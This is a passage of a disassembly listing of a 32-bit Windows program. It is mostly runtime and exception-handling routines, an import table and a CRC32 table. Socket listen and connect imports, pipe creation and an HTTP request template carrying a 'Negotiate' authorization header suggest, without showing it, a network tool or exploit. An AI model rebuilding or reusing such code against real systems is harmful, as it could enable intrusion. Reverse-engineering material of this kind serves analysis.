ecx and dword ptr [eax+esi*4+4], 0 loc_41DC81: ; CODE XREF: sub_41DB52+F8j mov ds:dword_45E82C, eax loc_41DC86: ; CODE XREF: sub_41DB52+F6j ; sub_41DB52+100j cmp [ebp+arg_4], 0 jz short loc_41DCD2 push [ebp+arg_0] call sub_413DB0 inc eax inc eax push eax call sub_413E5F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41DCD2 push [ebp+arg_0] push esi call sub_413CC0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 0A70000h pop ebx push esi call sub_413ED3 pop ecx loc_41DCD2: ; CODE XREF: sub_41DB52+6Ej ; sub_41DB52+104j ... xor eax, eax jmp loc_41DBB9 sub_41DB52 endp ; =============== S U B R O U T I N E ======================================= sub_41DCD9 proc near ; CODE XREF: sub_41DB52+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ds:dword_45E82C push edi mov eax, [esi] test eax, eax jz short loc_41DD14 mov edi, [esp+8+arg_4] loc_41DCEB: ; CODE XREF: sub_41DCD9+39j push edi push eax push [esp+10h+arg_0] call sub_41D828 add esp, 0Ch test eax, eax jnz short loc_41DD0A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_41DD24 test al, al jz short loc_41DD24 loc_41DD0A: ; CODE XREF: sub_41DCD9+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_41DCEB loc_41DD14: ; CODE XREF: sub_41DCD9+Cj mov eax, esi sub eax, ds:dword_45E82C sar eax, 2 neg eax loc_41DD21: ; CODE XREF: sub_41DCD9+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41DD24: ; CODE XREF: sub_41DCD9+2Bj ; sub_41DCD9+2Fj mov eax, esi sub eax, ds:dword_45E82C sar eax, 2 jmp short loc_41DD21 sub_41DCD9 endp ; =============== S U B R O U T I N E ======================================= sub_41DD31 proc near ; CODE XREF: sub_41DB52+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_41DD40 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_41DD40: ; CODE XREF: sub_41DD31+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_41DD52 loc_41DD48: ; CODE XREF: sub_41DD31+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_41DD48 loc_41DD52: ; CODE XREF: sub_41DD31+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_413E5F mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_41DD73 push 9 call sub_415C7E pop ecx loc_41DD73: ; CODE XREF: sub_41DD31+38j mov eax, [edi] mov ebx, edi loc_41DD77: ; CODE XREF: sub_41DD31+5Bj test eax, eax jz short loc_41DD8E push eax add ebx, 4 call sub_41DE0B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_41DD77 ; --------------------------------------------------------------------------- loc_41DD8E: ; CODE XREF: sub_41DD31+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_41DD31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD98 proc near ; CODE XREF: sub_41DB52+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp ds:dword_45FC3C, 0 jnz short loc_41DDB3 push [ebp+arg_4] push [ebp+arg_0] call sub_415110 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41DDB3: ; CODE XREF: sub_41DD98+Aj mov ecx, [ebp+arg_0] loc_41DDB6: ; CODE XREF: sub_41DD98+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_41DDF9 movzx edx, al test ds:byte_45FD41[edx], 4 jz short loc_41DDE5 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_41DDF0 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_41DDF4 jmp short loc_41DDED ; --------------------------------------------------------------------------- loc_41DDE5: ; CODE XREF: sub_41DD98+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_41DDF9 loc_41DDED: ; CODE XREF: sub_41DD98+4Bj inc ecx jmp short loc_41DDB6 ; --------------------------------------------------------------------------- loc_41DDF0: ; CODE XREF: sub_41DD98+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41DDF4: ; CODE XREF: sub_41DD98+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_41DDF9: ; CODE XREF: sub_41DD98+25j ; sub_41DD98+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_41DD98 endp ; =============== S U B R O U T I N E ======================================= sub_41DE0B proc near ; CODE XREF: sub_407E52+21p ; sub_41DD31+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41DE32 push esi call sub_413DB0 inc eax push eax call sub_413E5F pop ecx test eax, eax pop ecx jz short loc_41DE32 push esi push eax call sub_413CC0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DE32: ; CODE XREF: sub_41DE0B+7j ; sub_41DE0B+1Aj xor eax, eax pop esi retn sub_41DE0B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DE40 proc near ; CODE XREF: sub_4034C7+15p ; sub_403520+15p ... mov eax, offset loc_41E330 call sub_4144F0 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_4036CA mov esi, offset aStringTooLong ; "string too long" push esi call sub_413DB0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_403706 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41DE9A lea eax, [ebp-3Ch] push offset dword_41FF78 push eax mov dword ptr [ebp-3Ch], offset off_41FC34 call sub_41E299 pop esi sub_41DE40 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41DE9A proc near ; CODE XREF: sub_41DE40+3Fp ; sub_41E06C+3Fp mov eax, offset loc_41E344 call sub_4144F0 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_42E348 call sub_41E1BE mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_4036CA push ds:dword_41F240 mov ecx, edi push 0 push ebx call sub_403577 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_41FC54 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41DE9A endp ; =============== S U B R O U T I N E ======================================= sub_41DEFE proc near ; DATA XREF: seg001:0041FC38o ; seg001:0041FC58o ... mov eax, [ecx+10h] test eax, eax jnz short locret_41DF0A mov eax, offset dword_41F250 locret_41DF0A: ; CODE XREF: sub_41DEFE+5j retn sub_41DEFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF0B proc near ; DATA XREF: seg001:0041FC5Co var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41DF81 lea eax, [ebp+var_1C] push offset dword_41FFE8 push eax call sub_41E299 sub_41DF0B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41DF28 proc near ; CODE XREF: seg000:0041DF68p ; DATA XREF: seg001:0041FFECo mov eax, offset loc_41E358 call sub_4144F0 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41FC54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_4036CA or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41E245 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41DF28 endp ; --------------------------------------------------------------------------- loc_41DF65: ; DATA XREF: seg001:off_41FC54o push esi mov esi, ecx call sub_41DF28 test byte ptr [esp+8], 1 jz short loc_41DF7B push esi call sub_41450F pop ecx loc_41DF7B: ; CODE XREF: seg000:0041DF72j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_41DF81 proc near ; CODE XREF: sub_41DF0B+Ap ; sub_41E054+7p ... mov eax, offset loc_41E36C call sub_4144F0 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_41E1FB mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_4036CA push ds:dword_41F240 mov ecx, edi push 0 push ebx call sub_403577 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_41FC54 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41DF81 endp ; =============== S U B R O U T I N E ======================================= sub_41DFDE proc near ; CODE XREF: sub_41E01B+20p ; DATA XREF: seg001:0041FF7Co mov eax, offset loc_41E380 call sub_4144F0 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41FC54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_4036CA or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41E245 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41DFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E01B proc near ; DATA XREF: seg001:0041FC3Co var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41E054 lea eax, [ebp+var_1C] push offset dword_41FF78 push eax call sub_41E299 loc_41E038: ; DATA XREF: seg001:off_41FC34o push esi mov esi, ecx call sub_41DFDE test [esp+20h+var_18], 1 jz short loc_41E04E push esi call sub_41450F pop ecx loc_41E04E: ; CODE XREF: sub_41E01B+2Aj mov eax, esi pop esi retn 4 sub_41E01B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E054 proc near ; CODE XREF: sub_41E01B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41DF81 mov dword ptr [esi], offset off_41FC34 mov eax, esi pop esi retn 4 sub_41E054 endp ; =============== S U B R O U T I N E ======================================= sub_41E06C proc near ; CODE XREF: sub_403577+13p ; sub_40373B+Ep mov eax, offset loc_41E394 call sub_4144F0 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_4036CA mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_413DB0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_403706 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41DE9A lea eax, [ebp-3Ch] push offset dword_4200A0 push eax mov dword ptr [ebp-3Ch], offset off_41FC64 call sub_41E299 pop esi sub_41E06C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E0C6 proc near ; CODE XREF: sub_41E103+20p ; DATA XREF: seg001:004200A4o mov eax, offset loc_41E3A8 call sub_4144F0 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41FC54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_4036CA or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41E245 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41E0C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E103 proc near ; DATA XREF: seg001:0041FC6Co var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41E13C lea eax, [ebp+var_1C] push offset dword_4200A0 push eax call sub_41E299 loc_41E120: ; DATA XREF: seg001:off_41FC64o push esi mov esi, ecx call sub_41E0C6 test [esp+20h+var_18], 1 jz short loc_41E136 push esi call sub_41450F pop ecx loc_41E136: ; CODE XREF: sub_41E103+2Aj mov eax, esi pop esi retn 4 sub_41E103 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E13C proc near ; CODE XREF: sub_41E103+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41DF81 mov dword ptr [esi], offset off_41FC64 mov eax, esi pop esi retn 4 sub_41E13C endp ; =============== S U B R O U T I N E ======================================= sub_41E154 proc near ; DATA XREF: seg002:00421008o ; FUNCTION CHUNK AT 0041E18A SIZE 0000000C BYTES test ds:byte_45EAEC, 1 jnz short loc_41E164 or ds:byte_45EAEC, 1 loc_41E164: ; CODE XREF: sub_41E154+7j call sub_41E17E test ds:byte_45FE78, 1 jnz short loc_41E179 or ds:byte_45FE78, 1 loc_41E179: ; CODE XREF: sub_41E154+1Cj jmp loc_41E18A sub_41E154 endp ; =============== S U B R O U T I N E ======================================= sub_41E17E proc near ; CODE XREF: sub_41E154:loc_41E164p push offset nullsub_1 call sub_4148D0 pop ecx retn sub_41E17E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E154 loc_41E18A: ; CODE XREF: sub_41E154:loc_41E179j push offset nullsub_1 call sub_4148D0 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_41E154 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41E196 proc near ; CODE XREF: sub_402E17+5Ep ; seg000:00403A0Ap jmp ds:dword_41F1E4 sub_41E196 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41E19C proc near ; CODE XREF: sub_41415C+23p ; sub_414400+13p jmp ds:dword_41F148 sub_41E19C endp ; =============== S U B R O U T I N E ======================================= sub_41E1A2 proc near ; DATA XREF: seg001:off_41FC8Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41E245 test [esp+4+arg_0], 1 jz short loc_41E1B8 push esi call sub_41450F pop ecx loc_41E1B8: ; CODE XREF: sub_41E1A2+Dj mov eax, esi pop esi retn 4 sub_41E1A2 endp ; =============== S U B R O U T I N E ======================================= sub_41E1BE proc near ; CODE XREF: sub_41DE9A+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41FC8C push dword ptr [edi] call sub_413DB0 inc eax push eax call sub_414855 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41E1ED push dword ptr [edi] push eax call sub_413CC0 pop ecx pop ecx loc_41E1ED: ; CODE XREF: sub_41E1BE+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_41E1BE endp ; =============== S U B R O U T I N E ======================================= sub_41E1FB proc near ; CODE XREF: sub_41DF81+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41FC8C mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_41E238 push dword ptr [edi+4] call sub_413DB0 inc eax push eax call sub_414855 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41E23E push dword ptr [edi+4] push eax call sub_413CC0 pop ecx pop ecx jmp short loc_41E23E ; --------------------------------------------------------------------------- loc_41E238: ; CODE XREF: sub_41E1FB+16j mov eax, [edi+4] mov [esi+4], eax loc_41E23E: ; CODE XREF: sub_41E1FB+2Ej ; sub_41E1FB+3Bj mov eax, esi pop edi pop esi retn 4 sub_41E1FB endp ; =============== S U B R O U T I N E ======================================= sub_41E245 proc near ; CODE XREF: sub_41DF28+2Bp ; sub_41DFDE+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41FC8C jz short locret_41E25A push dword ptr [ecx+4] call sub_41450F pop ecx locret_41E25A: ; CODE XREF: sub_41E245+Aj retn sub_41E245 endp ; =============== S U B R O U T I N E ======================================= sub_41E25B proc near ; DATA XREF: seg001:0041FC90o mov eax, [ecx+4] test eax, eax jnz short locret_41E267 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_41E267: ; CODE XREF: sub_41E25B+5j retn sub_41E25B endp ; =============== S U B R O U T I N E ======================================= sub_41E268 proc near ; CODE XREF: seg000:0041E280p mov dword ptr [ecx], offset off_41FCAC mov ecx, [ecx+4] test ecx, ecx jz short locret_41E27C push ecx call sub_413ED3 pop ecx locret_41E27C: ; CODE XREF: sub_41E268+Bj retn sub_41E268 endp ; --------------------------------------------------------------------------- loc_41E27D: ; DATA XREF: seg001:off_41FCACo push esi mov esi, ecx call sub_41E268 test byte ptr [esp+8], 1 jz short loc_41E293 push esi call sub_41450F pop ecx loc_41E293: ; CODE XREF: seg000:0041E28Aj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E299 proc near ; CODE XREF: sub_41DE40+54p ; sub_41DF0B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_41FCB0 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:dword_41F178 ; RaiseException pop edi pop esi leave retn 8 sub_41E299 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41E2D4 proc near ; DATA XREF: seg001:0041FE7Co ; FUNCTION CHUNK AT 004034BF SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_4034BF sub_41E2D4 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_41E2F2 mov ecx, [ebp+8] jmp loc_4034BF ; --------------------------------------------------------------------------- locret_41E2F2: ; CODE XREF: seg000:0041E2E4j retn ; --------------------------------------------------------------------------- loc_41E2F3: ; DATA XREF: sub_403053o mov eax, offset dword_41FE50 jmp loc_4141AB ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_4034BF ; --------------------------------------------------------------------------- loc_41E308: ; DATA XREF: seg001:0041FEACo lea ecx, [ebp-1Ch] jmp loc_4034BF ; --------------------------------------------------------------------------- loc_41E310: ; DATA XREF: sub_4031F5o mov eax, offset dword_41FE80 jmp loc_4141AB ; --------------------------------------------------------------------------- align 4 loc_41E31C: ; DATA XREF: sub_4037A2o mov eax, offset dword_41FEB0 jmp loc_4141AB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_4034BF ; --------------------------------------------------------------------------- loc_41E330: ; DATA XREF: sub_41DE40o mov eax, offset dword_41FF88 jmp loc_4141AB ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_41E245 ; --------------------------------------------------------------------------- loc_41E344: ; DATA XREF: sub_41DE9Ao mov eax, offset dword_41FFB0 jmp loc_4141AB ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_41E245 ; --------------------------------------------------------------------------- loc_41E358: ; DATA XREF: sub_41DF28o mov eax, offset dword_41FFF8 jmp loc_4141AB ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41E245 ; --------------------------------------------------------------------------- loc_41E36C: ; DATA XREF: sub_41DF81o mov eax, offset dword_420020 jmp loc_4141AB ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41E245 ; --------------------------------------------------------------------------- loc_41E380: ; DATA XREF: sub_41DFDEo mov eax, offset dword_420048 jmp loc_4141AB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_4034BF ; --------------------------------------------------------------------------- loc_41E394: ; DATA XREF: sub_41E06Co mov eax, offset dword_4200B0 jmp loc_4141AB ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_41E245 ; --------------------------------------------------------------------------- loc_41E3A8: ; DATA XREF: sub_41E0C6o mov eax, offset dword_4200D8 jmp loc_4141AB ; --------------------------------------------------------------------------- align 1000h seg000 ends ; Section 2. (virtual address 0001F000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 0001F000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 41F000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_41F000 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess dd 7C833478h dword_41F008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_41D8D5+261r dword_41F00C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_41D8D5+B9r dd 7C832044h, 7C80BCCFh, 7C809E01h dword_41F01C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41BFE9+6r dd 7C812641h, 7C81DC03h dword_41F028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; seg000:0041B3B4r dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h dword_41F03C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW dd 7C80C058h dword_41F044 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; seg000:00401C13r ... dd 7C80A427h, 7C82FA46h, 7C814EEAh dword_41F054 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_409615+Dr ... dword_41F058 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_4032B0+19Cr ... dd 7C80B4CFh, 7C83632Dh, 7C8361EEh dword_41F068 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_40571E:loc_405A86r ... dword_41F06C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_40571E+33Ar ... dword_41F070 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_404EDA+B2r ... dd 7C810A77h dword_41F078 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_404EDA+25r ... dword_41F07C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; seg000:0040ACBBr ... dd 7C80EDD7h, 7C80E7ECh, 7C80E866h dword_41F08C dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_404858+5D7r ... dword_41F090 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; seg000:00406D6Er dword_41F094 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; seg000:00408C0Br ... dword_41F098 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_409BA0+259r ... dword_41F09C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41F0A0 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_41F0A4 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41F0A8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_405E47+22Fr dword_41F0AC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_406E9A:loc_40738Ar ... dword_41F0B0 dd 3E7574h ; sub_417F7F+15r ... dword_41F0B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C82F7A0h dword_41F0BC dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_41F0C0 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh dd 7C81AE17h, 7C85F90Fh, 7C80DDFEh dword_41F0F8 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_41F0FC dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; seg000:0041260Br dd 7C8310F2h dword_41F104 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; seg000:0040AB97r ... dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh dword_41F128 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; seg000:0041A00Er ... dword_41F12C dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_415A89+54r ... dd 7C8216A4h, 7C801E16h dword_41F138 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA dd 7C830B14h dword_41F140 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_41556F+AFr ... dword_41F144 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_416BB8+2C4r ... dword_41F148 dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh dword_41F154 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_4171EC+28r dd 7C801EEEh, 7C812F1Dh dword_41F160 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_41F164 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_41F168 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_41F16C dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_41F170 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41729D+51r dd 7C809E79h dword_41F178 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_41E299+2Er dword_41F17C dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap dd 7C838DE8h dword_41F184 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; seg000:00419F4Er ... dd 7C812E76h, 7C809915h, 7C8127A7h dword_41F194 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter dd 7C81DF77h dword_41F19C dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41F1A0 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_41ABB0+E1r align 8 dword_41F1A8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addrdword_41F1AC dd 71AB406Ah ; resolved to->WS2_32.connectdword_41F1B0 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_403F31+8Er dword_41F1B4 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_403EB4+15r dword_41F1B8 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_41F1BC dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_41F1C0 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_403EB4+41r dword_41F1C4 dd 71AB3E00h ; resolved to->WS2_32.binddword_41F1C8 dd 71AB88D3h ; resolved to->WS2_32.listendword_41F1CC dd 71AC1028h ; resolved to->WS2_32.acceptdword_41F1D0 dd 71AB615Ah ; resolved to->WS2_32.recvdword_41F1D4 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_403EB4+68r ... dword_41F1D8 dd 71AB3B91h ; resolved to->WS2_32.socket ; seg000:00403925r ... dword_41F1DC dd 71AB428Ah ; resolved to->WS2_32.send ; seg000:00403995r ... dword_41F1E0 dd 71AB2DC0h ; resolved to->WS2_32.select ; seg000:004039C6r dword_41F1E4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet align 10h aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4031F5+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_41F230 dq 1.388888888888889e-2 ; DATA XREF: sub_403007+2Fr dbl_41F238 dq 1.666666666666667e-1 ; DATA XREF: sub_403007+15r dword_41F240 dd 0FFFFFFFFh ; sub_4034C7r ... align 8 dbl_41F248 dq 1.333333333333333 ; DATA XREF: sub_403053+79r dword_41F250 dd 0 ; sub_403577+5Bo ... dword_41F254 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 